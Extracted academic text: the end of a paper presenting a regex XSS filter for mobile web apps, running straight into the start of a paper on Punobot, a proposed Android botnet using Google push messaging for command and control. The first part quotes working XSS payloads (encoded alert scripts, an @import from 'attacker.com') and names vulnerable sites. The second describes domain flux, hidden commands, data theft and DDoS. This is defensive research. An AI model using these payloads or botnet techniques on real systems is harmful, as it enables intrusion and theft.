XSS vectors, including modern mobile browsers.

4 XSS Filter

In this section, we present our XSS filter and also discuss set of regular expres-
sions that we have added along with the improved versions of Wassermann et
al.’s regular expressions categories.
34 http://jsfiddle.net/Cm7JT/

http://jsfiddle.net/Cm7JT/
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4.1 Category 1 Improvements

In this section, we discuss our version of regular expressions that deals with
XSS vectors making use of script tag. It is also available at http://jsfiddle.net/
8JCF5/1/. Wassermann et al.’s regular expression is:

<script[^>]*>.*?</script>

Our improved form of above regular expression is:

1) /<script[^>]*>[\s\S]*?/i.test(string) ||
2) /%[\d\w]{2}/i.test(string) ||
3) /&#[^&]{2}/i.test(string) ||
4) /&#x[^&]{3}/i.test(string) ||

The first improvement that we have added in the regular expression is the use of
\s\S class instead of . operator. Dot operator does not handle new line. \s\S gives
better coverage by matching any whitespace and non-whitespace characters. We
have used the “or” operator of JavaScript in order to combine different categories
of regular expressions. The second regular expression covers URL encoding of the
XSS vector like <iframe src="data:text/html,%3Cscript%3Ealert(1)%3C/
script%3E"></iframe>. The regular expression matches the attacker’s XSS
vector and captures it if regular expression observe % sign and after % sign
there is a digit or word in exactly next two characters. This regular expression
also works if attacker completly obfuscates the vector in URL encoded form like:
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%7
4%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>.

The third regular expression covers decimal encoded XSS vectors like:
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#
62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&
#112&#116&#62">X</a>. The regular expression matches the XSS vector if
it observes &# signs together and after &# signs there is no & symbol in next two
characters.

The last and the forth regular expression above deals with hex encoded XSS
vectors like: <a href="data:text/html;blabla,&#x3C;&#x73;&#x63;&#x72;
&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x
31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;">
X</a>. The regular expression matches the XSS vector if it observes &#x signs
together and after &#x signs there is no & symbol in next three characters.

4.2 Category 2 Improvements

This section discusses our improvements of Wassermann et al.’s regular expres-
sion that deals with XSS vectors make use of event handlers like onerror, onload
etc. The regular expression is:

/([\s"’]+on\w+)\s*=/i

Our improved version is:

http://jsfiddle.net/8JCF5/1/
http://jsfiddle.net/8JCF5/1/
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1) /[\s"\’‘;\/0-9\=\x0B\x09\x0C\x3B\x2C\x28]+on\w+

[\s\x0B\x09\x0C\x3B\x2C\x28]*=/i.test(string) ||

2) /%[\d\w]{2}/i.test(string) ||

3) /&#[^&]{2}/i.test(string) ||

4) /&#x[^&]{3}/i.test(string)

In the first regular expression we have added support of back-tick (‘)
symbol, semi-colon (;), forward slash (/), = symbol, digits (0-9), control char-
acters (U+000B, U+0009, U+000C), U+003B, U+002C and U+0028. The sec-
ond, third and fourth regular expressions (already discussed in previous section)
deals with obfuscation of vectors like <iframe src="data:text/html,<svg
%6F%6Eload=alert(1)>"></iframe>, <iframe src="data:text/html,<svg
&#x6F;&#x6E;load=alert(1)>"></iframe> and <iframe src="data:text/
html,
<svg &#111;&#110;load=alert(1)>"></iframe>.

4.3 Category 3 Improvements

In this section we discuss the improved form of regular expression that matches
XSS vectors making use of JavaScript URIs. The Wassermann et al.’s regular
expression is:

/(=|(U\s*R\s*L\s*\())\s*("|\’)?[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/i

Our improved form is:

1) /(?:=|U\s*R\s*L\s*\()\s*[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/i

// Removed: ("|\’)? -- The reason is it is an unnecessary capturing group

and [^>] will match optional quote anyway.

The regular expression looks for the following in sequence:

• = or the four characters URL(, in a case insensitive way because of ignore-case
flag i.e., /i, optionally with one or more whitespace characters following any
of the characters.

• Any number of characters other than >.
• The characters SCRIPT: in a case insensitive way, optionally with one or more

whitespace characters following any of the characters.

The regular expression therefore matches all the following if present in user-
supplied input:

• =script:
• ”VBScript:
• url(’javascript:
• u r l ( s c r i p t :

In order to support obfuscation, we have used the regular expressions that we
have already discussed above.
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4.4 Miscellaneous Additions

In this section, we briefly discuss some of the miscellaneous classes of regular
expressions that we have added in order to cover XSS vectors that do not belong
to the above categories. Along with regular expression, we give one example of
corresponding XSS vector (See Table 5 in Appendix). The complete set of regular
expressions can also be found in Appendix A.

4.5 Limitations

The XSS filter is not meant to replace input validation and output encoding
completely. XSS filter rather provide an additional layer of security to mitigate
the consequences of XSS vulnerabilities. Our filter does not support DOM35

and Stored36 XSS but due to simple nature and significantly less AJAX-style
interaction on mobile web applications, the chances of DOM based XSS is very
low.

5 Implementation and Testing

This section reports on our implementation and testing of our XSS filter.

5.1 Implementation

We implemented our XSS filter in the form of JavaScript function. On the
client side, sites may call our filter function (consists of few lines of JavaScript
code) on an HTML form (<form> tag) onsubmit event handler, e.g. “onsubmit=
xssfilter()”. The use of HTML <form> tag is very common on mobile-side
as we have discussed earlier (see Sect. 2.1). The complete code of the filter is
available in Appendix A.

5.2 Testing

First we manually tested the performance of our final version of the filter against
large number of XSS vectors available in the form of five resources ranging from
old to the new ones. To the best of our knowledge, no XSS vector is able to bypass
the filter, at the time of writing of this paper. Our regular expression based XSS
filter has correctly matched all XSS vectors, if present in the user-supplied input.
The five resources we used to test our filter are:

1. XSS Filter Evasion Cheatsheet available at https://www.owasp.org/index.
php/XSS Filter Evasion Cheat Sheet

2. HTML5 Security Cheatsheet available at http://html5sec.org/
3. 523 XSS vectors available at http://xss2.technomancie.net/vectors/

35 https://www.owasp.org/index.php/DOM Based XSS
36 http://en.wikipedia.org/wiki/Cross-site scripting

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
http://html5sec.org/
http://xss2.technomancie.net/vectors/
https://www.owasp.org/index.php/DOM_Based_XSS
http://en.wikipedia.org/wiki/Cross-site_scripting
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4. Technical attack sheet for cross site penetration tests at http://www.vulner-
ability-lab.com/resources/documents/531.txt.

5. @XSSVector Twitter Account https://twitter.com/XSSVector. It has 130
plus latest XSS vectors.

Second, the creator37 of one of the above resources has developed an automated
testing framework38 for us in order to test the filter against sheer volume of XSS
vectors. Even with the help of an automated testing framework we were unable
to find XSS vector that is able to bypass XSS filter.

6 Evaluation

This section briefly presents the results of the evaluation of our XSS filter. We
have added support of the XSS filter in two open-source mobile applications i.e.,
Wordpress and Drupal. Developers of the sites who wish to include our filter
(which is available in the form of JavaScript function) in their web applications
has to do minimum amount of effort. Table 1 shows the amount of changes we
have to do in order to add support in Wordpress and Drupal respectively. Figure
available at http://i.imgur.com/OynTbDT.jpg shows our XSS filter correctly
matching the user-supplied malicious input in the Wordpress comments section.
Wordpress and Drupal frameworks already have bulit-in server-side validation
mechanisms and the reason to choose these frameworks is, that we want to make
a point that sites can use our filter in addition to the input checking they are
already using and this will help in mitigating XSS consequences and will add
additional security layer.

6.1 Evaluation in Terms of Time and Memory

We also wanted to see how our XSS filter performs in terms of time and mem-
ory usage because on the mobile-side web applications present a simplified and
optimized version of their desktop variant. Table 2 reports on XSS filter on the
two subjects (Wordpress and Drupal) in terms of memory and time. We show
the average time (in milliseconds) by repeating the process of loading Wordpress
and Drupal page, with and without our XSS filter support, 50 times. Direct
debugging on mobile devices is not possible due to the lack of support for devel-
oper tools. As a consequence, we have used the “Remote Debugging39” feature
provided by Google for Android.

6.2 Execution Time of XSS Filter JavaScript Function

In order to check Regular Expression Denial of Service (REDoS) [15], we have
also measured the execution time of XSS filter JavaScript function. As we have
37 Galadrim https://twitter.com/g4l4drim
38 http://xss2.technomancie.net/suite/47/run and http://xss2.technomancie.net/

suite/48/run
39 https://developers.google.com/chrome/mobile/docs/debugging

http://www.vulner-ability-lab.com/resources/documents/531.txt
http://www.vulner-ability-lab.com/resources/documents/531.txt
https://twitter.com/XSSVector
http://i.imgur.com/OynTbDT.jpg
https://twitter.com/g4l4drim
http://xss2.technomancie.net/suite/47/run
http://xss2.technomancie.net/suite/48/run
http://xss2.technomancie.net/suite/48/run
https://developers.google.com/chrome/mobile/docs/debugging
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discussed before, our filter is based on regular expressions. We prove that our
regular expressions’ approach is not vulnerable to REDoS attack and is com-
putationally cheap. We have validated our regular expressions in the REDoS
benchmark suite available at [14].

Table 1. Statistics on subjects’ files

Subject Files Lines per file Total lines

Wordpress 3 1 3
Drupal 1 2 2

Table 2. Statistics in terms of memory and time

Subject Memory Avgerage time Avgerage time
in KB with filter (ms) without filter (ms)

Wordpress 1.53 331 243
Drupal 1.17 375 251

REDoS attack exploits the backtracking (when regular expression applies
repetition to a complex subexpression and for the repeated subexpression, there
exists a match which is also a suffix of another valid match [15]) matching feature
of regular expressions and in our set of regular expressions backtracking is not
used in matching. REDoS benchmark uses the following code to measure the
JavaScript time [11,12]:

var start = (new Date).getTime(); // Returns Time in millisecond
// XSS Filter Code i.e., Regular Expressions here
var timeelapsed = (new Date).getTime() - start;

We have measured the time by passing 100 different XSS vectors that belongs
to different categories of regular expressions to the function and the average
processing time we have observed is 1 ms.

6.3 Adoption

Our XSS detection rules have been adopted by most popular web application
firewall engine i.e., Modsecurity. The XSS filter is now part of OWASP ModSecu-
rity Core Rule Set (CRS)40. OWASP ModSecurity Core Rule Set (CRS) provides
generic protection against vulnerabilities found in web applications [34].

7 Comparison to Other Approaches

In this section we compare our filter with the closely related proposals on the
mobile-side.
40 https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/base rules

https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/base_rules
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NoScript Anywhere (NSA): NoScript (http://noscript.net/), is the popular
security add-on for Mozilla Firefox. Its mobile form is called NoScript Anywhere
(NSA) and is also based on regular expressions. Recently, Mozilla has abandoned
support of XML User Interface Language (XUL) architecture for Firefox mobile
in order to gain performance benefits and security issues [18]. This architectural
change has made NSA useless overnight because of compatibility issues [19].
At the time of writing of this paper, NSA is no more compatible with Firefox
mobile [13]. NSA’s highly experimental form for testing purpose is available but
for Firefox Nightly versions. Before this incompatibility issue, we have observed
that NSA lacks update cycle compared to NoScript for desktop systems. NSA
has another limitation in a sense that it is only available for Firefox users. Our
XSS filter is available in the form of JavaScript function and is compatible with
every modern browser. NSA has also usability issues because of blocking the
scripts and this is not the case with our filter. Our filter captures malicious
string at the time of user-supplied input.

Internet Explorer XSS Filter: Windows phone 7.5 has browser integrated
support of XSS filter. The problem with the IE XSS filter is that it does not stop
injections like: <a href=’’attackercontrolleddomain’’>ClickMe</>. With
this type of injection, attacker can present victim with spoofed log-in page with
a goal to steal credentials. Our filter correctly captures the above injection vec-
tors. IE integrated XSS filter can also be bypassed if attacker is able to control
two input parameters. IE’s integrated XSS filter is only available to IE users
while our filter is browser independent.

8 Conclusion

In this paper, we presented XSS filter for the mobile versions of web applications.
We gave a survey of 100 popular mobile-version of web applications and found
XSS in 81 of them. We have tested our filter against five publicly available XSS
vector lists and found not even a single vector that is able to bypass the filter.
We have also evaluated our filter by adding support in Wordpress and Drupal
for mobiles. We hope that this paper will raise awareness about the XSS issue
on mobile-side.
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A Appendix

function test(string) {

var match = /<script[^>]*>[\s\S]*?/i.test(string) ||

/%[\d\w]{2}/i.test(string) || /&#[^&]{2}/i.test(string) || /&#x[^&]{3}

/i.test(string) ||

/[\s"\’‘;\/0-9\=\x0B\x09\x0C\x3B\x2C\x28]+on\w+[\s\x0B\x09\x0C\x3B\x2C

\x28]*=/i.test(string)||

/(?:=|U\s*R\s*L\s*\()\s*[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/i.test(string)

|| /&colon;/i.test(string) || /[\s\S]src[\s\S]/i.test(string) ||

/[\s\S]data:text\/html[\s\S]/i.test(string) || /[\s\S]xlink:href[\s\S]/

i.test(string) ||

/[\s\S]!ENTITY.*?SYSTEM[\s\S]/i.test(string) || /

[\s\S]pattern(?=.*?=)[\s\S]/i.test(string)||

/[\s\S]base64[\s\S]/i.test(string) || /[\s\S]xmlns

[\s\S]/i.test(string) ||

/[\s\S]xhtml[\s\S]/i.test(string) || /[\s\S]href[\s\S]/i.test(string)

Table 3. Top sites whose mobile-version are vulnerable to XSS

Site name and URL Alexa rank

Intel http://m.intel.com/content/intel-us/en.touch.html 1107
Nokia http://m.maps.nokia.com/#

action=search&params=%7B%7D&bmk=1
568

StatCounter http://m.statcounter.com/feedback/?back=/ 188
The New York Times http://mobile.nytimes.com/search 112
MTV http://m.mtv.com/asearch/index.rbml?search= 1168
HowStuffWorks http://m.howstuffworks.com/s/4759/Feedback 2882
SlashDot http://m.slashdot.org/ 2267
Pinterest http://m.pinterest.com/ 38
Dictionary http://m.dictionary.com/ 182
MapQuest http://m.mapquest.com/ 525

Table 4. Regular expression (RE) syntax description [7].

Regular expression (RE) syntax
RE Construct Description

\s Matches any white-space character
\S Matches any non-white-space character
| Matches any one element separated by the vertical bar character
* Matches the previous element zero or more times
? Matches the previous element zero or one time
ˆ The match must start at the beginning of the string or line
/i Makes the match case insensitive
. Matches any character except newline
\ Escape Character
[ˆ...] Matches every character except the ones inside brackets

http://m.intel.com/content/intel-us/en.touch.html
http://m.maps.nokia.com/#action=search&params=%7B%7D&bmk=1
http://m.maps.nokia.com/#action=search&params=%7B%7D&bmk=1
http://m.statcounter.com/feedback/?back=/
http://mobile.nytimes.com/search
http://m.mtv.com/asearch/index.rbml?search=
http://m.howstuffworks.com/s/4759/Feedback
http://m.slashdot.org/
http://m.pinterest.com/
http://m.dictionary.com/
http://m.mapquest.com/
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Table 5. Miscellaneous regular expression (RE) classes along with respective XSS
vectors.

Regular expression (RE) classes and examplary XSS vector
RE Construct XSS Vector

/&colon;/i <form><button

formaction=javascript&colon;

alert(1)>CLICKME

/[\s\S]src[\s\S]/i <iframe

src="http://jsfiddle.net/t846h

/">
/[\s\S]xlink:href[\s\S]/i <math><a

xlink:href="//jsfiddle.net/

t846h/">click

/[\s\S]base64[\s\S]/i <object data=data:text/html;base64,

PHN2Zy9vbmxvYWQ9YWxlcnQoMik+

></object>
/[\s\S]href[\s\S]/i <a href="http://jsfiddle.net/

t846h">Click Me</a>
/[\s\S]@import[\s\S]/i <style>@import

’http://attacker.com/evilcssfi

le.css’;</style>

|| /[\s\S]style[\s\S]/i.test(string) || /[\s\S]formaction[\s\S]/i.test

(string) ||

/<style[^>]*>[\s\S]*?/i.test(string) || /[\s\S]@import[\s\S]/i.test

(string) ||

/<applet[^>]*>[\s\S]*?/i.test(string) || /<meta[^>]*>[\s\S]*?/i.test

(string) ||

/<object[^>]*>[\s\S]*?/i.test(string) || /<embed[^>]*>[\s\S]*?/i.test

(string) ||

/<form[^>]*>[\s\S]*?/i.test(string) || /<isindex[^>]*>[\s\S]*?/i.test

(string);

return match ? true : false;

} function inputValidation() {

var string = document.getElementById("searchfield").value;

if (test(string)){ alert(’Filter has detected malicious input’);

return false; }

return true;

}
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Abstract. A botnet is a collection of computers compromised by attack-
ers, which is being increasingly used to advance political or financial
interests. Recently, mobile botnets that rely on compromised mobile
devices are emerging due to their improvements in computation power
and communication capability. To cope with mobile botnets, we need to
anticipate and prevent their command and control (C&C) channels. In
this paper, we explore a new C&C channel for mobile botnets that is
based on the push notification service (PNS) of Android: Google Cloud
Messaging for Android (GCM). We find that (1) the registration process
of the GCM only checks the validity of Gmail address and (2) applica-
tions can hide received push messages from users. By exploiting these
two vulnerabilities, we evaluate the feasibility of the push notification
service-based mobile botnet (Punobot) in several aspects. We show that
Punobot is stealthy, energy-efficient, and dangerous. We also recom-
mend remedies that any PNSs should consider to eliminate their security
weaknesses.

Keywords: Mobile botnet · Push notification service · Google Cloud
Messaging for Android (GCM) · Android

1 Introduction

A botnet is a network of computers that have been compromised by attackers.
Unlike stand-alone malware, botnets have command and control (C&C) chan-
nels to receive commands from their masters for adaptively performing various
attacks including Distributed Denial of Service (DDoS), theft of personal infor-
mation, and spamming. Internet Relay Chat (IRC) [1] and Hypertext Transfer
Protocol (HTTP) [2] are commonly used C&C channels. In the early years of the
emergence of botnets, their purposes were mainly to have fun or to demonstrate
attackers’ capabilities. However, attackers have since utilized botnets to advance
political or financial interests.
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Nowadays, mobile devices become an important target of attackers for estab-
lishing mobile botnets because their computing capabilities become higher and
they are consistently connected to the Internet via Wi-Fi or cellular networks.
Since 2009, several cases of mobile botnets have been reported: SymbOS.Yxes [3]
targeted the Symbian OS platform, IKee.B [4] was based on Jailbroken iPhones,
and Geinimi [5] operated on the Android platform. All these botnets communi-
cated using the HTTP protocol.

To deal with mobile botnets, several studies have been conducted. Most of
them try to predict and prevent new types of mobile botnets before they are
realized. Especially, several researchers proposed mobile botnets using SMS as a
C&C channel [6–10]. They consider both centralized and decentralized structures
for stealthy and robust C&C channels. A Bluetooth-based mobile botnet [11]
has also been studied. In their design, the closest bot communicates with the
attackers directly and the other bots receive commands via Bluetooth. However,
both botnets have limitations because SMS is charged in many countries and
the coverage of Bluetooth is restricted.

In this paper, we explore a new type of a mobile botnet that utilizes a push
notification service (PNS) in Android as a C&C channel. PNSs are for informing
users of update messages, real-time news, and game messages. WhatsApp Mes-
senger, BNO News, eBay, and E*Trade Mobile are some applications that take
advantage of PNSs. Most mobile operating systems provide PNSs, for exam-
ple, Android has Google Cloud Messaging (GCM) [12] and iOS has Apple Push
Notification Service (APNS) [13]. Unlike SMS and Bluetooth, PNSs are free and
have no coverage problem. Moreover, PNSs consume low battery and demand
low network traffic. Therefore, if attackers can exploit PNSs as C&C channels,
they can establish stealthy and energy-efficient mobile botnets.

To identify the possibility of PNS-based botnets, we investigate the GCM
framework and find that it has two serious vulnerabilities: (1) its registration
process only demands a valid Gmail address and (2) applications with GCM can
hide received push messages from users. Using these two findings and advanced
techniques such as domain flux, we design a new mobile botnet, Punobot, which
uses GCM as a C&C channel. Evaluation results show that Punobot is a stealthy
and energy-efficient mobile botnet. We also present methods to detect and pre-
vent Punobot.

The remainder of this paper is organized as follows. Section 2 introduces
the Android’s push notification service and Sect. 3 explains Punobot in details.
Section 4 presents evaluation results of Punobot. Section 5 discusses strength
of Punobot and possible countermeasures. Section 6 introduces related work.
Lastly, Sect. 7 concludes this paper.

2 Google Cloud Messaging for Android (GCM)

2.1 Basics

GCM is a lightweight PNS that allows developers to send messages to applica-
tions installed on Android devices. With JellyBean (Android 4.1), Google intro-



126 H. Lee et al.

Fig. 1. GCM messaging process

duced GCM, which is a revision of the Android’s PNS, in June 2012. Before
GCM, Android had a PNS called Cloud to Device Messaging (C2DM). Since
GCM is a free service, it helps developers to reduce the cost for messaging in
their systems. GCM allows up to 4 KB messages; therefore, it is typically used
to send small messages such as update messages or real-time information like
weather reports. GCM requires devices running Android 2.2 or higher.

Once a mobile application embedding GCM is installed on a mobile device,
the application can receive a push message from a developer, even when the
device is turned off or the application has been terminated. Intent broadcast
wakes up the mobile application when a push message arrives if the application
is set up with proper broadcast receivers and permissions. The mobile device
does not need to perform periodic polling to receive the message and consume
low network traffic. As a result, a GCM-based mobile application requires only
a small amount of battery power.

A developer must compose push messages using JavaScript Object Notation
(JSON) format or plain text. The message has an expiration time from zero to
four weeks, so a Google push server can conditionally store the message depend-
ing on expiration time if a mobile device cannot receive the messages temporarily.
GCM does not limit the number of push messages that a developer can transmit.

2.2 Procedures

To utilize the GCM service, three procedures are needed (Fig. 1). First, a devel-
oper must register with the GCM service in the Google APIs console page [14] to
obtain project ID and API key. A project ID is granted to each Gmail account
after the user creates a Google API project and turns the GCM toggle to ON.
An API key parameter is also provided if the developer selects the GCM API
access function.
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Fig. 2. Architecture of Punobot

Next, after a GCM-based application is installed on a mobile device, the
device requests a PNS in the background by transmitting the package name
of the application and the developer’s project ID to the Google push server. If
the request is allowed, the Google push server provides a registration ID to the
device for identifying the application on the device. The device needs to deliver
the registration ID and corresponding information, such as device ID, to the
developer. However, Google does not provide any methods or protocols for this
delivery. Therefore, the developer must maintain at least one server to receive
the registration IDs using own communication protocol.

Lastly, whenever a developer wants to send a push message to the mobile
device, the developer transmits the push message comprising the registration ID
of the receiver, API key, and contents to the Google push server. If the message
sent is verified as legal, the Google push server delivers the push message to the
device. Push messages are transmitted and received using the HTTPS protocol
and hence contents cannot be intercepted or modified.

3 Proposed Scheme: Punobot

3.1 Overview

In this section, we delineate a mobile botnet called Punobot that uses GCM in
Android as a new kind of a C&C channel (Fig. 2). Before explain it, we introduce
two assumptions. We assume that (1) attackers repackage some famous appli-
cations to embedding PNS-based malicious codes while applying robust anti-
analysis techniques. We call the repackaged application as a Punobot application.
We also assume that (2) the Punobot application has already been installed on
an end-user mobile device. How to make repackaged applications robust against
analysis and how to distribute them to mobile devices are out of scope of this
paper.

In our botnet, command servers use domain flux as done by Conficker [15];
i.e., a botmaster is located in the highest level of the overall botnet, and C&C



128 H. Lee et al.

servers work as proxies between the botmaster and bots. This topology makes
it difficult to detect the botmaster. Mobile devices with Punobot applications
are the bots of our botnet. After the botmaster sends the bots push messages
containing the bot commands via a PNS-based C&C channel, the bots perform
specific malicious activities such as the stealing of credential information and
the sending of spam/phishing messages.

3.2 Command and Control Protocols

Punobot uses three C&C protocols for the botnet’s participants. The PNS pro-
tocol (i.e., GCM) is the main C&C protocol, with domain flux and E-mail flux
as supplementary protocols.

– PNS protocol is utilized by all participants (i.e., botmaster, C&C servers,
Google push server, and bots). It is the main actor for delivering push messages
containing the botmaster’s commands to Punobot applications. In GCM, no
predefined rules for decoding and displaying push messages exist. An appli-
cation that received push messages can solely determine how to handle them.
However, if the application does not show any notifications to the user, a mali-
cious activity detector may suspect the application. Therefore, the Punobot
application will show a part of the received message to the user while cloaking
the botmaster’s real intent.

– Domain flux protocol is for communication between the botmaster and the
C&C servers and the C&C servers and the bots. The domain flux protocol is
placed between the C&C servers and the bots primarily because after Punobot
receives its registration ID from the Google push server, it must communicate
with the C&C servers to send the registration ID. The IP addresses or domain
names of the C&C servers must be specified in the Punobot application.
To evade static analysis, we adopt the domain flux protocol in Punobot.
This protocol is used by numerous recent botnets such as Conficker [15] and
Kraken [16]. In this protocol, a domain generation algorithm (DGA) is used.
Each bot algorithmically generates many domain names and queries each of
them until one of them is resolved. The bot then communicates the corre-
sponding IP address used to host the C&C server.
In our domain flux protocol, we adopt a random word generator and con-
struct domain names using English words with properly matched vowels and
consonants.

– E-mail flux protocol is positioned in the overall architecture of the botnet. E-
mail flux is needed to exploit the vulnerability of the PNS registration. Once
a developer creates a project function on the official GCM site, GCM provides
one project ID per Gmail address of the developer.
By exploiting this feature, an attacker can register for the service multiple
times using many Gmail addresses so that a mobile device can get many
project IDs. Thus, if one registration ID is blocked by Google, the attacker
can use other project IDs to obtain other registration IDs.
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Fig. 3. Attack scenarios of Punobot

3.3 Entities

Our mobile botnet includes three types of entities: bots, attacker servers (a
botmaster and C&C servers), and the Google push server.

– Bots are mobile devices on which Punobot applications have been installed.
A bot is responsible for a PNS request in the background, and for receiving
push messages and conducting malicious activities.

– Attacker servers consist of a botmaster and C&C servers. The botmaster com-
mands bots and C&C servers, and manages the registration IDs of the bots.
The C&C servers act as proxies between a botmaster and bots. If the bots
send their registration IDs to the C&C servers, the servers deliver the infor-
mation to the botmaster. When the C&C servers receive the push messages
from the botmaster, the servers deliver the push messages to the bots via the
Google push server.

– Google push server performs three tasks: issuing of registration IDs to the
Punobot applications; identification of developers in the messaging steps; and
conveying of push messages from C&C servers to bots.

3.4 Punobot Attack Scenarios

We will explain the attack scenarios utilized by Punobot (Fig. 3). As assumed
in Sect. 3.1, the Punobot application is obfuscated before it is distributed in the
Android markets and is installed on many user devices. After installation, the
bot sends the developer’s project ID and the package name of the application to
request a PNS in the background.

The Google push server confirms whether the received information is correct.
If the information is appropriate, the Google push server issues a registration ID
that is used to identify the target application on the mobile device. The bot then
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transmits its registration ID to a C&C server. If the bot succeeds in accessing
one of the C&C servers, whose domain names are generated using DGA, the bot
passes its registration ID to the C&C server.

The C&C server then conveys the information to a botmaster who maintains
the information about the bots and gives commands to the C&C servers when-
ever he or she wants to perform malicious activities. The C&C server sends these
commands to the Punobot application through GCM and the application obeys
orders from the botmaster.

3.5 Supported Commands

Push Message Composition. To conceal the botmaster’s commands from
the users and Google push server, we apply a steganography technology to push
messages. This technology converts original messages into different messages so
people who do not know the exact stegnography scheme used cannot extract the
meaning of messages.

In Punobot, push messages should look like normal ones. Normal PNS-based
applications usually receive push messages for informing announcements, such as
“Big Bargain Sale.” We select contents from several often-used announcements
and connected the commands to the contents. By combining this message with
a malicious function, a nefarious activity can be performed in the background
without users’ noticing.

Malicious Activities. Punobot supports the following four malicious
activities.

– Leakage of device-specific information: A botmaster can obtain device-specific
information such as the International Mobile Equipment Identity (IMEI),
International Mobile Subscriber Identity (IMSI), phone number of the mobile
device, and Android SDK version. IMEI gives information about the manu-
facturer and the model name of the device. By combining IMEI and IMSI,
attackers can make illegal copies of mobile devices. Android SDK version can
be used for secondary attacks such as virus infection or rooting which are
based on the vulnerabilities of a certain Android SDK version.

– Leakage of end-user information: Information on mobile device users can be
extracted via Punobot. The information can be contact information, SMS
history, and stored files such as photos.

– Sending spam and phishing messages: Since an attacker can obtain informa-
tion about the user of the mobile device, including phone numbers and E-mail
addresses, the attacker can send spam and phishing messages via SMS or E-
mail for financial benefits.

– DDoS attack: Punobot operates at the application level; hence, it is not
affected by distance. Therefore, it can perform DDoS attacks using numer-
ous PING or SYN packets from mobile devices.
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Fig. 4. Installation and messaging of Punobot application

4 Evaluation

To assess the feasibility and level of danger posed by Punobot, we conducted
four evaluations: functionality test, stealthiness test, abuseability test, and com-
parisons to other botnets.

4.1 Experimental Settings

An attack server was set up using an Intel Core i7-2630M CPU and 4 GB mem-
ory. Punobot applications were set up on an Android emulator and commercial
smartphones of Samsung Galaxy S I and II (Android 2.3), LG Optimus 2X
(Android 2.3), and Motorola Atrix (Android 4.0).

4.2 Functionality Test

We performed a functionality test whether the supported commands worked
normally in Punobot (Fig. 4). Punobot was able to carry out malicious activities:
stealing of mobile-device-specific information; stealing of end-user information;
sending of spam and phishing messages; and the carrying out of DDoS attacks.

4.3 Abusability Test

We evaluated whether the Google push server can identify abnormal activities
carried out by Punobot. First, the Punobot application requested a GCM service
numerous times to check whether the request was denied. In our experiment, the
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application succeeded in obtaining a registration ID for 10,000 GCM requests
for about 3 min. Next, we changed the developer’s project IDs to confirm that
a new GCM request could still be accomplished with difference project IDs.
Without altering the package name of the Punobot application, the applica-
tion could request GCM even when project IDs had been changed. Thus, if the
registration ID is blocked, a new registration ID can be acquired by making a
new GCM request. Lastly, we made GCM requests using the package names of
famous malicious mobile applications (e.g., com.google.ssearch of DroidKungFu
and com.test of AnserverBot). We encountered no errors when using such pack-
age names, which implies that the Google push server does not maintain a black-
list for malicious applications.

4.4 Stealthiness Test

We also performed a stealthiness test to determine the difference between the
Punobot application and normal PNS-based mobile applications. We monitored
the network traffic incurred by the Punobot application and compared it to
normal PNS-based mobile applications using Wireshark. The network flow for
Punobot (Fig. 5) consisted of traffic from four entities: a bot, two Google push
servers (A and B), and an attacker server. The distinguishing characteristic was
that this network flow includes two Google push servers: server A was responsible
for PNS requests and server B delivered push messages.

The bot requested a PNS from server A through port 443 on HTTPS (Fig. 5a).
When server A accepted the service, the bot received its registration ID. The bot
then transmitted the registration ID to the attacker’s server in the background
(Fig. 5b). To order a bot to commit malicious activities, the botmaster sent a
push message containing commands to the Google push server B and the bot
received the push message from server B (Fig. 5c).

Packets of the push messages are encrypted; therefore, detection schemes that
are based on the contents of network packet cannot be applied to detect Punobot.
Furthermore, the network flow of normal PNS-based mobile applications was the
same as that of the Punobot application. Therefore, Punobot is a stealthy mobile
botnet.

4.5 Comparisons to SMS-Based and E-mail-Based Botnets

We also compared Punobot to SMS and E-mail bots. First, we modified Power-
Tutor [17] to measure the power consumption of each bot’s message from zero
to seven messages (Fig. 6). Among the three bots, Punobot consumed the least
power. As the number of received messages increased, the difference between
Punobot and the other bots increased and power changes were the smallest for
Punobot. In addition, when 5 % and 10 % of the entire power were consumed,
the number of PNS messages was approximately twice that of SMS messages,
and five times greater than that of E-mail messages (Fig. 7).

Next, we measured the total network packet sizes for E-mail bot and Punobot.
For the receipt and confirmation of an E-mail containing 360 characters, the total
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Fig. 5. Network flow of Punobot application

average size of a network packet was 3,882 B. However, a PNS message contain-
ing the same amounts of characters only consumed 664 B. Therefore, detecting
Punobot using detection approaches based on excessive network traffic may prove
difficult.

Lastly, we compared the cost of Punobot to that of an SMS bot. PNS mes-
saging is performed via cellular network or Wi-Fi, the cost of Punobot is almost
zero. In contrast, the cost of sending SMS is about US$ 0.02 per message [18].
In conclusion, for reasons of management cost, attackers may prefer Punobot to
an SMS bot.
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5 Discussion

5.1 Advantages of Punobot

Favorable to Attackers. Constructing and maintaining Punobot is valuable
for attackers for two reasons. First, attackers can implement a Punobot applica-
tion easily because the Android SDK provides a GCM-related library. Second,
GCM does not burden developers with the cost of maintaining servers because
Google provides the GCM service to developers for free.

Communication-Agnostic. Once mobile devices are connected via the cellu-
lar or Wi-Fi networks, the devices can receive push messages. Nowadays, cellular
networks are being used everywhere, and free Wi-Fi environments are provided
by many stores and companies. Therefore, receiving push messages from attack-
ers is simple.

Guaranteed Messaging. PNS guarantees the arrival of push messages. Mes-
sages from a botmaster can arrive eventually even if mobile devices are turned
off or the Punobot application is terminated. Moreover, most of the push mes-
sages are also retransmitted if packet delivery fails. For these reasons, attackers
can order the bots to carry out malicious activities at any time.

Low Bandwidth and Battery Power Consumption. Punobot consumes
very little bandwidth and battery power because of two characteristics of PNS:
small overhead in each message and devices do not need to be activate to receive
messages. These performance aspects make Punobot efficient for attackers.

5.2 Prevention and Detection

We propose prevention and detection approaches for Punobot.
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Vulnerabilities should be Fixed. To prevent Punobot, Google should revise
